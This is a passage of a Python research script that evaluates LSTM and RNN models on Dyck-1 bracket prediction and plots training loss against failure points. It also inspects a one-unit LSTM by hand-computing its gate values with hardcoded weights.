\n# \n# scatter_name_train = prefix+'TRAIN LOSS SCATTER PLOT.png'\n# scatter_name_inverse_train = prefix+'INVERSE TRAIN LOSS SCATTER PLOT.png'\n# scatter_name_log_train = prefix+'LOG TRAIN LOSS SCATTER PLOT.png'\n# scatter_name_inverse_log_train = prefix+'INVERSE LOG TRAIN LOSS SCATTER PLOT.png'\n# \n# scatter_name_validation = prefix+'VALIDATION LOSS SCATTER PLOT.png'\n# scatter_name_inverse_validation = prefix+'INVERSE VALIDATION LOSS SCATTER PLOT.png'\n# scatter_name_log_validation = prefix+'LOG VALIDATION LOSS SCATTER PLOT.png'\n# scatter_name_inverse_log_validation = prefix+'INVERSE LOG VALIDATION LOSS SCATTER PLOT.png'\n# \n# \n# scatter_name_long_validation = prefix+'LONG VALIDATION LOSS SCATTER PLOT.png'\n# scatter_name_inverse_long_validation = prefix+'INVERSE LONG VALIDATION LOSS SCATTER PLOT.png'\n# scatter_name_log_long_validation = prefix+'LOG LONG VALIDATION LOSS SCATTER PLOT.png'\n# scatter_name_inverse_log_long_validation = prefix+'INVERSE LOG LONG VALIDATION LOSS SCATTER PLOT.png'\n# \n# \n# excel_name_inference=prefix+'EXCEL INFERENCE INDICATORS.xlsx'\n# \n# with open(file_name, 'w') as f:\n# f.write('\\n')\n# \n# \n# with open(test_log, 'w') as f:\n# f.write('\\n')\n# with open(long_test_log, 'w') as f:\n# f.write('\\n')\n# \n# \n# def encode_batch(sentences, labels, lengths, batch_size):\n# \n# max_length = max(lengths)\n# # print(max_length)\n# sentence_tensor = torch.zeros(batch_size,max_length,len(vocab))\n# \n# labels_tensor = torch.tensor([])\n# for i in range(len(sentences)):\n# \n# \n# sentence = sentences[i]\n# labels_tensor = torch.cat((labels_tensor, Dyck.lineToTensorSigmoid(labels[i],max_len=max_length)))\n# if len(sentence) max_depth:\n# max_depth = current_depth\n# elif x[i] == ')':\n# current_depth -= 1\n# timestep_depths.append(current_depth)\n# return max_depth, timestep_depths\n# \n# \n# # train_dataset = NextTokenPredictionTrainDataset()\n# # test_dataset = NextTokenPredictionDataset102to500tokens()\n# # long_dataset = NextTokenPredictionDataset502to1000tokens()\n# \n# # test_dataset = NextTokenPredictionDataset990to1000tokens()\n# # test_dataset = NextTokenPredictionDataset2000tokens()\n# test_dataset = NextTokenPredictionDataset2000tokens_nested()\n# test_size = len(test_dataset)\n# \n# if dataset_type=='nested':\n# test_dataset=NextTokenPredictionDataset2000tokens_nested()\n# elif dataset_type=='zigzag':\n# test_dataset=NextTokenPredictionDataset2000tokens_zigzag()\n# # elif dataset_type=='appended':\n# elif dataset_type == 'concatenated':\n# test_dataset=NextTokenPredictionDataset2000tokens()\n# elif dataset_type == '1000token':\n# test_dataset=NextTokenPredictionDataset1000tokens()\n# elif dataset_type=='train':\n# test_dataset=NextTokenPredictionTrainDataset()\n# elif dataset_type=='validation':\n# test_dataset=NextTokenPredictionValidationDataset()\n# elif dataset_type=='long':\n# test_dataset=NextTokenPredictionLongTestDataset()\n# \n# test_size=len(test_dataset)\n# \n# # train_loader = DataLoader(train_dataset,batch_size=batch_size, shuffle=False, collate_fn=collate_fn)\n# test_loader = DataLoader(test_dataset,batch_size=batch_size, shuffle=False, collate_fn=collate_fn)\n# # long_loader = DataLoader(long_dataset, batch_size=batch_size, shuffle=shuffle_dataset, collate_fn=collate_fn)\n# \n# \n# # train_loader = DataLoader(train_dataset,batch_size=batch_size, shuffle=False)\n# \n# \n# def select_model(model_name, input_size, hidden_size, num_layers,batch_size, num_classes, output_activation):\n# if model_name=='VanillaLSTM':\n# selected_model = VanillaLSTM(input_size,hidden_size, num_layers, batch_size, num_classes, output_activation=output_activation)\n# elif model_name=='VanillaRNN':\n# selected_model = VanillaRNN(input_size, hidden_size, num_layers, batch_size, num_classes, output_activation=output_activation)\n# elif model_name=='VanillaGRU':\n# selected_model = VanillaGRU(input_size,hidden_size, num_layers, batch_size, num_classes, output_activation=output_activation)\n# elif model_name == 'VanillaReLURNN':\n# selected_model = VanillaReLURNN(input_size, hidden_size, num_layers, batch_size, num_classes, output_activation=output_activation)\n# \n# return selected_model.to(device)\n# # return selected_model\n# \n# def read_sheets():\n# sheet_names = []\n# for i in range(num_runs):\n# sheet_name = \"run\"+str(i)\n# sheet_names.append(sheet_name)\n# df = pd.read_excel(excel_name,sheet_name=sheet_names)\n# dfs = []\n# for i in range(num_runs):\n# dfs.append(df.get(sheet_names[i]))\n# return dfs\n# \n# \n# \n# \n# def main():\n# \n# \n# \n# \n# output_activation = 'Sigmoid'\n# \n# if task == 'TernaryClassification':\n# num_classes = 3\n# output_activation = 'Softmax'\n# elif task == 'BinaryClassification' or task == 'NextTokenPrediction':\n# num_classes = 2\n# output_activation = 'Sigmoid'\n# \n# \n# \n# \n# input_size = n_letters\n# \n# \n# \n# \n# \n# \n# \n# with open(file_name, 'a') as f:\n# # f.write('Output activation = ' + output_activation + '\\n')\n# # f.write('Optimiser used = ' + use_optimiser + '\\n')\n# # f.write('Learning rate = ' + str(learning_rate) + '\\n')\n# # f.write('Number of runs = ' + str(num_runs) + '\\n')\n# # f.write('Number of epochs in each run = ' + str(num_epochs) + '\\n')\n# f.write('Saved model name = ' + modelname + '\\n')\n# # f.write('Saved optimiser name = ' + optimname + '\\n')\n# f.write('Excel name = ' + excel_name + '\\n')\n# # f.write('Train log name = ' + train_log + '\\n')\n# f.write('Test log name = ' + test_log + '\\n')\n# f.write('Long test log name = ' + long_test_log + '\\n')\n# f.write('///////////////////////////////////////////////////////////////\\n')\n# f.write('\\n')\n# \n# dfs_read = read_sheets()\n# \n# test_accuracies = []\n# \n# runs = []\n# correct_guesses = []\n# correct_guesses_lengths = []\n# correct_guesses_max_depth = []\n# \n# \n# \n# incorrect_guesses = []\n# incorrect_guesses_lengths = []\n# \n# incorrect_guesses_first_fail = []\n# \n# \n# avg_point_of_failure_short = []\n# avg_train_losses = []\n# avg_val_losses = []\n# avg_long_val_losses = []\n# epochs = []\n# inverse_avg_train_losses = []\n# inverse_avg_val_losses = []\n# inverse_avg_long_val_losses = []\n# \n# log_avg_train_losses = []\n# log_avg_val_losses = []\n# log_avg_long_val_losses = []\n# \n# max_depths_correct_guesses = []\n# timestep_depths_correct_guesses = []\n# max_depths_incorrect_guesses = []\n# timestep_depths_incorrect_guesses = []\n# \n# \n# \n# \n# for run in range(num_runs):\n# df = dfs_read[run]\n# losses_train = df['Average training losses']\n# losses_train = losses_train.tolist()\n# losses_val = df['Average validation losses']\n# losses_val=losses_val.tolist()\n# losses_long_val = df['Average long validation losses']\n# losses_long_val = losses_long_val.tolist()\n# # runs.append(run)\n# checkpoint_count = 0\n# for epoch in range(num_epochs):\n# if epoch%checkpoint_step==0 and checkpoint_count<=num_checkpoints:\n# checkpoint_count+=1\n# runs.append(run)\n# avg_train_losses.append(losses_train[epoch])\n# inverse_avg_train_losses.append(1/losses_train[epoch])\n# avg_val_losses.append(losses_val[epoch])\n# inverse_avg_val_losses.append(1 / losses_val[epoch])\n# avg_long_val_losses.append(losses_long_val[epoch])\n# inverse_avg_long_val_losses.append(1 / losses_long_val[epoch])\n# epochs.append(epoch)\n# checkpoint_model = select_model(model_name,input_size,hidden_size,num_layers,batch_size,num_classes,output_activation)\n# checkpoint_path = checkpoint+'run'+str(run)+\"_epoch\"+str(epoch)+\".pth\"\n# \n# checkpt = torch.load(checkpoint_path)\n# checkpoint_model.load_state_dict(checkpt['model_state_dict'])\n# checkpoint_model.to(device)\n# checkpoint_test_accuracy, checkpoint_correct_guesses, checkpoint_correct_guesses_length, checkpoint_incorrect_guesses, checkpoint_incorrect_guesses_length, checkpoint_incorrect_guesses_first_fail, checkpoint_avg_first_fail_point, checkpoint_max_depth_correct, checkpoint_timestep_depth_correct, checkpoint_max_depth_incorrect, checkpoint_timestep_depth_incorrect = test_model(checkpoint_model, test_loader, 'short')\n# \n# test_accuracies.append(checkpoint_test_accuracy)\n# correct_guesses.append(checkpoint_correct_guesses)\n# correct_guesses_lengths.append(checkpoint_correct_guesses_length)\n# incorrect_guesses.append(checkpoint_incorrect_guesses)\n# incorrect_guesses_lengths.append(checkpoint_incorrect_guesses_length)\n# incorrect_guesses_first_fail.append(checkpoint_incorrect_guesses_first_fail)\n# avg_point_of_failure_short.append(checkpoint_avg_first_fail_point)\n# max_depths_correct_guesses.append(checkpoint_max_depth_correct)\n# max_depths_incorrect_guesses.append(checkpoint_max_depth_incorrect)\n# timestep_depths_correct_guesses.append(checkpoint_timestep_depth_correct)\n# timestep_depths_incorrect_guesses.append(checkpoint_timestep_depth_incorrect)\n# \n# \n# \n# \n# \n# \n# \n# \n# \n# \n# \n# \n# runs.append(run)\n# epochs.append(num_epochs-1)\n# avg_train_losses.append(losses_train[num_epochs-1])\n# inverse_avg_train_losses.append(1 / losses_train[epoch])\n# avg_val_losses.append(losses_val[num_epochs-1])\n# inverse_avg_val_losses.append(1 / losses_val[epoch])\n# avg_long_val_losses.append(losses_long_val[num_epochs-1])\n# inverse_avg_long_val_losses.append(1 / losses_long_val[epoch])\n# mdl = modelname + 'run' + str(run) + '.pth'\n# model = select_model(model_name, input_size, hidden_size, num_layers, batch_size, num_classes,output_activation)\n# model.load_state_dict(torch.load(mdl))\n# model.to(device)\n# # test_accuracy, test_correct_guesses,test_correct_guesses_length, test_incorrect_guesses, test_incorrect_guesses_length, test_incorrect_guesses_first_fail,test_avg_first_fail_point, test_max_depth, test_timestep_depth = test_model(model, test_loader, 'short')\n# test_accuracy, test_correct_guesses, test_correct_guesses_length, test_incorrect_guesses, test_incorrect_guesses_length, test_incorrect_guesses_first_fail, test_avg_first_fail_point, max_depth_correct, timestep_depth_correct, max_depth_incorrect, timestep_depth_incorrect = test_model(model, test_loader, 'short')\n# \n# test_accuracies.append(test_accuracy)\n# correct_guesses.append(test_correct_guesses)\n# correct_guesses_lengths.append(test_correct_guesses_length)\n# incorrect_guesses.append(test_incorrect_guesses)\n# incorrect_guesses_lengths.append(test_incorrect_guesses_length)\n# incorrect_guesses_first_fail.append(test_incorrect_guesses_first_fail)\n# avg_point_of_failure_short.append(test_avg_first_fail_point)\n# max_depths_correct_guesses.append(max_depth_correct)\n# max_depths_incorrect_guesses.append(max_depth_incorrect)\n# timestep_depths_correct_guesses.append(timestep_depth_correct)\n# timestep_depths_incorrect_guesses.append(timestep_depth_incorrect)\n# \n# \n# \n# \n# \n# with open(file_name, \"a\") as f:\n# f.write('test accuracy for 2000 tokens for run ' + str(run) + ' = ' + str(test_accuracy) + '%\\n')\n# \n# log_avg_train_losses=np.log(avg_train_losses)\n# log_avg_val_losses = np.log(avg_val_losses)\n# log_avg_long_val_losses = np.log(avg_long_val_losses)\n# \n# log_inverse_avg_train_losses = np.log(inverse_avg_train_losses)\n# log_inverse_avg_val_losses = np.log(inverse_avg_val_losses)\n# log_inverse_avg_long_val_losses = np.log(inverse_avg_long_val_losses)\n# \n# df1 = pd.DataFrame()\n# df1['run'] = runs\n# df1['epoch'] = epochs\n# df1['avg training losses'] = avg_train_losses\n# df1['avg validation losses'] = avg_val_losses\n# df1['avg long validation losses'] = avg_long_val_losses\n# df1['log of avg train losses'] = log_avg_train_losses\n# df1['log of avg validation losses'] = log_avg_val_losses\n# df1['log of avg long validation losses'] = log_avg_long_val_losses\n# df1['log of inverse avg train losses'] = log_inverse_avg_train_losses\n# df1['log of inverse avg validation losses'] = log_inverse_avg_val_losses\n# df1['log of inverse avg long validation losses'] = log_inverse_avg_long_val_losses\n# df1['correct guesses (2000 tokens)'] = correct_guesses\n# df1['correct guesses seq lengths (2000 tokens)'] = correct_guesses_lengths\n# df1['incorrect guesses (2000 tokens)'] = incorrect_guesses\n# df1['incorrect guesses seq lengths (2000 tokens)'] = incorrect_guesses_lengths\n# df1['average first point of failure (2000 tokens)'] = avg_point_of_failure_short\n# df1['first point of failure for each incorrect sequence'] = incorrect_guesses_first_fail\n# df1['max depth for correct sequences (2000 tokens)'] = max_depths_correct_guesses\n# df1['timestep depths for correct sequences'] = timestep_depths_correct_guesses\n# df1['max depth for incorrect sequences (2000 tokens)'] = max_depths_incorrect_guesses\n# df1['timestep depths for incorrect sequences'] = timestep_depths_incorrect_guesses\n# \n# \n# writer = pd.ExcelWriter(excel_name_inference, engine='xlsxwriter')\n# \n# df1.to_excel(writer, index=False)\n# writer.save()\n# \n# \n# plt.subplots()\n# \n# \n# \n# plt.scatter(x=avg_train_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Average training loss')\n# plt.savefig(scatter_name_train)\n# plt.close()\n# \n# # plt.scatter(x=avg_point_of_failure_short, y=inverse_avg_val_losses)\n# plt.scatter(x=avg_val_losses,y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Average validation loss')\n# plt.savefig(scatter_name_validation)\n# plt.close()\n# \n# # plt.scatter(x=avg_point_of_failure_short, y=inverse_avg_long_val_losses)\n# plt.scatter(x=avg_long_val_losses,y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Average long validation loss')\n# plt.savefig(scatter_name_long_validation)\n# plt.close()\n# \n# #############\n# plt.scatter(x=inverse_avg_train_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Inverse of Average training loss')\n# plt.savefig(scatter_name_inverse_train)\n# plt.close()\n# \n# # plt.scatter(x=avg_point_of_failure_short, y=inverse_avg_val_losses)\n# plt.scatter(x=inverse_avg_val_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Inverse of Average validation loss')\n# plt.savefig(scatter_name_inverse_validation)\n# plt.close()\n# \n# # plt.scatter(x=avg_point_of_failure_short, y=inverse_avg_long_val_losses)\n# plt.scatter(x=inverse_avg_long_val_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Average of long validation loss')\n# plt.savefig(scatter_name_inverse_long_validation)\n# plt.close()\n# \n# ######################\n# plt.scatter(x=log_avg_train_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Log of Average training loss')\n# plt.savefig(scatter_name_log_train)\n# plt.close()\n# \n# # plt.scatter(x=avg_point_of_failure_short, y=inverse_avg_val_losses)\n# plt.scatter(x=log_avg_val_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Log of Average validation loss')\n# plt.savefig(scatter_name_log_validation)\n# plt.close()\n# \n# # plt.scatter(x=avg_point_of_failure_short, y=inverse_avg_long_val_losses)\n# plt.scatter(x=log_avg_long_val_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Log of Average long validation loss')\n# plt.savefig(scatter_name_log_long_validation)\n# plt.close()\n# \n# ###########################\n# plt.scatter(x=log_inverse_avg_train_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Log of the inverse Average training loss')\n# plt.savefig(scatter_name_inverse_log_train)\n# plt.close()\n# \n# # plt.scatter(x=avg_point_of_failure_short, y=inverse_avg_val_losses)\n# plt.scatter(x=log_inverse_avg_val_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Log of the inverse Average validation loss')\n# plt.savefig(scatter_name_log_validation)\n# plt.close()\n# \n# # plt.scatter(x=avg_point_of_failure_short, y=inverse_avg_long_val_losses)\n# plt.scatter(x=log_inverse_avg_long_val_losses, y=avg_point_of_failure_short)\n# plt.ylabel('Average first point of failure for 2000 token Dyck-1 Sequences')\n# plt.xlabel('Log of the inverse Average long validation loss')\n# plt.savefig(scatter_name_log_long_validation)\n# plt.close()\n# \n# \n# \n# def test_model(model, loader, dataset):\n# \"\"\"\n# add a function here to calculate the average point where the model fails.\n# if the model gets everything correct then it wont be counted in the values which fail at any point\n# scatter plots in the main function after all models have been evaluated\n# one scatter plot for long sequences, one for very long sequences\n# \n# \"\"\"\n# \n# correct_guesses = []\n# incorrect_guesses = []\n# correct_guesses_length = []\n# incorrect_guesses_length = []\n# incorrect_guesses_first_fail = []\n# sum_first_fail_points = 0\n# \n# \n# max_depths_correct_guesses = []\n# timestep_depths_correct_guesses = []\n# max_depths_incorrect_guesses = []\n# timestep_depths_incorrect_guesses = []\n# \n# model.eval()\n# num_correct = 0\n# log_file=''\n# if dataset=='short':\n# log_file=test_log\n# ds = test_dataset\n# \n# \n# \n# with open(log_file,'a') as f:\n# f.write('////////////////////////////////////////\\n')\n# f.write('TEST '+dataset+'\\n')\n# \n# \n# for i, (sentences, labels, input_seq, target_seq, length) in enumerate(loader):\n# \n# # for i, (sentences, labels, input_seq, target_seq, length, max_depth, timestep_depth) in enumerate(loader):\n# output_seq = model(input_seq.to(device), length)\n# \n# \n# output_seq = model.mask(output_seq, target_seq, length)\n# \n# \n# \n# output_seq = output_seq.view(batch_size, length[0], n_letters)\n# target_seq = target_seq.view(batch_size, length[0], n_letters)\n# \n# \n# \n# out_seq = output_seq.clone().detach() >= epsilon\n# out_seq = out_seq.float()\n# \n# \n# # with open(log_file, 'a') as f:\n# # # f.write('rounded output in test function = ' + str(out_np) + '\\n')\n# # # f.write('target in test function = ' + str(target_np) + '\\n')\n# #\n# # f.write('rounded output in test function = ' + str(out_seq) + '\\n')\n# # f.write('target in test function = ' + str(target_seq) + '\\n')\n# \n# for j in range(batch_size):\n# \n# # if out_np[j].all() == target_np[j].all():\n# max_depth, timestep_depth = get_timestep_depths(sentences[j])\n# if torch.equal(out_seq[j], target_seq[j]):\n# # if np.all(np.equal(out_np[j], target_np[j])) and (out_np[j].flatten() == target_np[j].flatten()).all():\n# num_correct += 1\n# correct_guesses.append(sentences[j])\n# correct_guesses_length.append(length[j].item())\n# # incorrect_guesses_first_fail.append(length[j].item())\n# sum_first_fail_points+=length[j].item()\n# max_depths_correct_guesses.append(max_depth)\n# timestep_depths_correct_guesses.append(timestep_depth)\n# \n# with open(log_file, 'a') as f:\n# f.write('CORRECT' + '\\n')\n# else:\n# incorrect_guesses.append(sentences[j])\n# for k in range(length[j]):\n# if torch.equal(out_seq[j][k], target_seq[j][k]) != True:\n# incorrect_guesses_first_fail.append(k)\n# sum_first_fail_points+=k\n# incorrect_guesses_length.append(length[j].item())\n# max_depths_incorrect_guesses.append(max_depth)\n# timestep_depths_incorrect_guesses.append(timestep_depth)\n# break\n# \n# with open(log_file, 'a') as f:\n# f.write('INCORRECT' + '\\n')\n# \n# \n# \n# \n# accuracy = num_correct / len(ds) * 100\n# with open(log_file, 'a') as f:\n# f.write('accuracy = ' + str(accuracy)+'%' + '\\n')\n# print(''+dataset+' test accuracy = '+ str(accuracy)+'%')\n# # avg_first_fail_point = sum_first_fail_points/len(incorrect_guesses)\n# avg_first_fail_point = sum_first_fail_points / (len(incorrect_guesses)+num_correct)\n# \n# # return accuracy, correct_guesses,correct_guesses_length, incorrect_guesses, incorrect_guesses_length, incorrect_guesses_first_fail,avg_first_fail_point, max_depth, timestep_depth\n# return accuracy, correct_guesses,correct_guesses_length, incorrect_guesses, incorrect_guesses_length, incorrect_guesses_first_fail,avg_first_fail_point, max_depths_correct_guesses, timestep_depths_correct_guesses, max_depths_incorrect_guesses, timestep_depths_incorrect_guesses\n# \n# \n# \n# \n# \n# \n# if __name__=='__main__':\n# main()\n# \n\n\n\n\n# def lstm_cell(input: Tensor, hidden: Tuple[Tensor, Tensor], w_ih: Tensor,\n# w_hh: Tensor, b_ih: Tensor, b_hh: Tensor) -> Tuple[Tensor, Tensor]:\ndef lstm_cell(input, hidden, w_ih, w_hh, b_ih, b_hh, w_out, b_out):\n hx, cx = hidden\n # print('hx = ',hx)\n # print('cx = ',cx)\n gates = torch.mm(input, w_ih.t()) + torch.mm(hx, w_hh.t()) + b_ih + b_hh\n # print(gates)\n\n ingate, forgetgate, cellgate, outgate = gates.chunk(4, 1)\n\n ingate = torch.sigmoid(ingate)\n forgetgate = torch.sigmoid(forgetgate)\n cellgate = torch.tanh(cellgate)\n outgate = torch.sigmoid(outgate)\n\n cy = (forgetgate * cx) + (ingate * cellgate)\n hy = outgate * torch.tanh(cy)\n\n outt = torch.mm(hy,w_out.t())+b_out\n # outt = (hy * w_out) + b_out\n outt = torch.sigmoid(outt)\n\n return hy, cy, ingate, forgetgate, cellgate, outgate, outt\n\n# print(lstm_cell(torch.tensor([[1,0]],dtype=torch.float32).to(device), (torch.tensor([[0],[0],[0],[0]],dtype=torch.float32).to(device), torch.tensor([[0],[0],[0],[0]],dtype=torch.float32).to(device)), torch.tensor([[1,1],[1,1],[1,1],[1,1]], dtype=torch.float32).to(device), torch.tensor([[1],[1],[1],[1]],dtype=torch.float32).to(device), torch.tensor([[1],[1],[1],[1]],dtype=torch.float32).to(device), torch.tensor([[1],[1],[1],[1]],dtype=torch.float32).to(device), torch.tensor([[1,1]], dtype=torch.float32).to(device), torch.tensor([1],dtype=torch.float32).to(device)))\n# print('$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$')\n# print(lstm_cell(torch.tensor([[1,0]],dtype=torch.float32).to(device), (torch.tensor([[0]],dtype=torch.float32).to(device), torch.tensor([[0]],dtype=torch.float32).to(device)), torch.tensor([[1,1]], dtype=torch.float32).to(device), torch.tensor([[1]],dtype=torch.float32).to(device), torch.tensor([[1],[1],[1],[1]],dtype=torch.float32).to(device), torch.tensor([[1],[1],[1],[1]],dtype=torch.float32).to(device), torch.tensor([[1,1]], dtype=torch.float32).to(device), torch.tensor([1],dtype=torch.float32).to(device)))\n\n\ninput1 = torch.tensor([[[1., 0.],\n [1., 0.],\n [0., 1.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [1., 0.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [1., 0.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.],\n [0., 1.]]], dtype=torch.float32).to(device)\n\nprint(input1.shape)\n\n# weights_ih = torch.tensor([[4.101598, 1.5668163],[4.101598, 1.5668163], [-1.7835047, 4.8268037], [5.7168097, -0.62931436]], dtype=torch.float32)\n\n\ndef inspect_lstm(model):\n print(model)\n\n for param in model.lstm.named_parameters():\n if 'weight_hh' in param[0]:\n weights_hh = param[1]\n weights_hi = weights_hh[0]\n weights_hf=weights_hh[1]\n weights_hg = weights_hh[2]\n weights_ho = weights_hh[3]\n\n\n\n elif 'weight_ih' in param[0]:\n weights_ih = param[1]\n weights_ii = weights_ih[0]\n weights_if = weights_ih[1]\n weights_ig = weights_ih[2]\n weights_io = weights_ih[3]\n\n elif 'bias_ih' in param[0]:\n biases_ih = param[1]\n biases_ii = biases_ih[0]\n biases_if = biases_ih[1]\n biases_ig = biases_ih[2]\n biases_io = biases_ih[3]\n\n elif 'bias_hh' in param[0]:\n biases_hh = param[1]\n biases_hi = biases_hh[0]\n biases_hf = biases_hh[1]\n biases_hg = biases_hh[2]\n biases_ho = biases_hh[3]\n\n elif 'bias_ih' in param[0]:\n biases_ih = param[1]\n biases_ii = biases_ih[0]\n biases_if = biases_ih[1]\n biases_ig = biases_ih[2]\n biases_io = biases_ih[3]\n\n for param in model.fc2.named_parameters():\n if 'weight' in param[0]:\n output_weight = param[1]\n # weights_output_0.append(output_weight[0].item())\n # weights_output_1.append(output_weight[1].item())\n elif 'bias' in param[0]:\n output_bias = param[1]\n # biases_output_0.append(output_bias[0].item())\n # biases_output_1.append(output_bias[1].item())\n\n return weights_ih, weights_hh, biases_ih, biases_hh, output_weight, output_bias\n\n\n# model_path = '/content/drive/MyDrive/PhD/EXPT_LOGS/Dyck1_NextTokenPrediction/Minibatch_Training/VanillaLSTM/1_batch_size/0.01_learning_rate/30_epochs/50_lr_scheduler_step/1.0_lr_scheduler_gamma/1_hidden_units/10_runs/shuffle_True/Dyck1_NextTokenPrediction_25_bracket_pairs_VanillaLSTM_Feedback_EveryTimeStep_1_batch_size__1hidden_units_Adam_lr=0.01_30epochs_50lr_scheduler_step_1.0lr_scheduler_gamma_10runs_CHECKPOINT_run9_epoch29.pth'\n#\n#\n# model1 = VanillaLSTM(input_size=2, hidden_size=1, num_layers=1, output_size=2, output_activation='Sigmoid', batch_size=1)\n# model1.load_state_dict(torch.load(model_path)['model_state_dict'])\n# model1.to(device)\n\n# weight_ih, weight_hh, bias_ih, bias_hh, weight_output, bias_output = inspect_lstm(model1)\n\nweight_ih = torch.tensor([[1.6979, 1.4880],\n [4.1016, 1.5668],\n [-1.7835, 4.8268],\n [5.7168, -0.6293]],dtype=torch.float32)\nweight_hh = torch.tensor([[-1.8054],\n [-4.4326],\n [0.4888],\n [-5.3106]], dtype=torch.float32)\nbias_ih = torch.tensor([0.8732, 1.3285, -0.6736, 0.9035], dtype=torch.float32)\nbias_hh = torch.tensor([1.9848, 1.1635, -0.1913, 1.5920], dtype=torch.float32)\n\noutput_weight = torch.tensor([[ -2.5410],\n [-30.0839]], dtype=torch.float32)\noutput_bias = torch.tensor([12.3202, -10.1679], dtype=torch.float32)\n\nprint('weight_ih = ',weight_ih)\nprint('weight_hh = ',weight_hh)\nprint('bias_ih = ',bias_ih)\nprint('bias_hh = ',bias_hh)\nprint('weight_ih.shape = ',weight_ih.shape)\nprint('weight_hh.shape = ',weight_hh.shape)\nprint('bias_ih.shape = ', bias_ih.shape)\nprint('bias_hh.shape = ',bias_hh.shape)\nprint('output_weight = ', output_weight)\nprint('output_bias = ', output_bias)\n\n# h_prev = (torch.zeros(1,len(inputt[0]),1).to(device), torch.zeros(1,len(inputt[0]),1).to(device))\n# h_prev = (torch.zeros(1,1,1).to(device), torch.zeros(1,1,1).to(device))\n# h_prev = (torch.zeros(1,1).to(device), torch.zeros(1,1).to(device))\n# # print('h_prev.shape = ',h_prev.shape)\n# out_selfmade_model = torch.zeros(1,len(inputt[0]),2).to(device)\n\n\n# print(lstm_cell(inputt[0][0].unsqueeze(dim=0), h_prev, weight_ih, weight_hh, bias_ih, bias_hh, output_weight,output_bias))\n\n\nprint('*********************************************************************')\n\ndef seqToSelfMadeLSTM(input):\n h_prev = (torch.zeros(1, 1).to(device), torch.zeros(1, 1).to(device))\n # print('h_prev.shape = ',h_prev.shape)\n out_selfmade_model = torch.zeros(1, len(input[0]), 2).to(device)\n ht_values = []\n ct_values = []\n it_values = []\n ft_values = []\n ctilde_values = []\n ot_values = []\n h_prev_values = []\n sigmoid_output_values = []\n ab_ratio_values = []\n a_values = []\n b_values = []\n u_values = []\n ab_ratio_average = 0\n u_value_average = 0\n for i in range(len(input[0])):\n # print('*********************************************************************')\n # print(inputt[0][i])\n # print('inputt[0][i].shape = ', inputt[0][i].shape)\n # print('h_prev = ',h_prev)\n h, c, it, ft, ctilde, ot, sigmoid_output = lstm_cell(input[0][i].unsqueeze(dim=0), h_prev, weight_ih, weight_hh, bias_ih, bias_hh, output_weight, output_bias)\n # print('h_t = ',h)\n # print('c_t = ',c)\n # print('c_tilde = ',ctilde)\n # print('o_t = ',ot)\n\n u_value = ft.item()\n a_value = 0\n b_value = 0\n\n h_prev_values.append(h_prev)\n h_prev = (h,c)\n # print('sigmoid_output = ',sigmoid_output)\n out_selfmade_model[0][i] = sigmoid_output\n ht_values.append(h)\n ct_values.append(c)\n ctilde_values.append(ctilde)\n it_values.append(it)\n ft_values.append(ft)\n ot_values.append(ot)\n sigmoid_output_values.append(sigmoid_output)\n\n\n\n print('out_selfmade_model = ',out_selfmade_model)\n\n return h_prev_values, out_selfmade_model, sigmoid_output_values, it_values, ft_values, ct_values, ctilde_values, ot_values, ht_values\n\n# out_existing_model = model1(inputt, len(inputt[0]))\n# print(out_existing_model)\n\n# if out_selfmade_model==out_existing_model:\n# print('CORRECT')\n# print(seqToSelfMadeLSTM(input1))\nh_prev_values_1, out_selfmade_model_1, sigmoid_output_values_1, it_values_1, ft_values_1, ct_values_1, ctilde_values_1, ot_values_1, ht_values_1=seqToSelfMadeLSTM(input1)\n\nout_readymade_model_1 = torch.tensor([[1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 9.9999e-01],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 1.0000e+00],\n [1.0000e+00, 